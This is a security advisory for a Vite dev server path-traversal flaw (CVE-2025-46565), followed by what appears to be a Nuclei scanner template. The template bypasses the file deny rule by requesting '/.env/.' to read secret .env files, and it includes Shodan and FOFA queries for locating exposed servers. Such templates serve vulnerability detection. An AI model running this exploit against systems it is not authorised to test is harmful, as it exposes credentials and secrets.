Vite is a frontend tooling framework for JavaScript. Before versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14, the contents of files in the project root that are denied by a file matching pattern can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed. `server.fs.deny` can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass for files under `root` by using a combination of slash and dot (/.). This issue has been patched in versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14.
PoC
id: CVE-2025-46565
info:
name: Vite Dev Server - Information Exposure
author: ritikchaddha
severity: medium
description: |
Vite is a frontend tooling framework for JavaScript. Before versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14, the contents of files in the project root that are denied by a file matching pattern can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed. `server.fs.deny` can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass for files under `root` by using a combination of slash and dot (/.). This issue has been patched in versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14.
reference:
- https://github.com/vitejs/vite/security/advisories/GHSA-859w-5945-r5v3
- https://nvd.nist.gov/vuln/detail/CVE-2025-46565
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-46565
epss-score: 0.0117
epss-percentile: 0.66411
cwe-id: CWE-22
metadata:
max-request: 2
fofa-query: body="/@vite/client"
shodan-query: http.html:"/@vite/client"
tags: cve,cve2025,vite,exposure,bypass
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/.env"
matchers:
- type: status
status:
- 403
internal: true
- method: GET
path:
- "{{BaseURL}}/.env/."
matchers-condition: and
matchers:
- type: word
part: body
words:
- "VITE_APP_SECRET"
case-insensitive: true
- type: status
status:
- 200
# digest: 4a0a004730450220336b62df1c04f513d90438bec4acabc56ea56da7578f3fd78ada2557a0273a3f022100ae417f6074a16fece23b03b6689ebb1f59f9c6a2bae64e3e54f49b74c9a33546:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.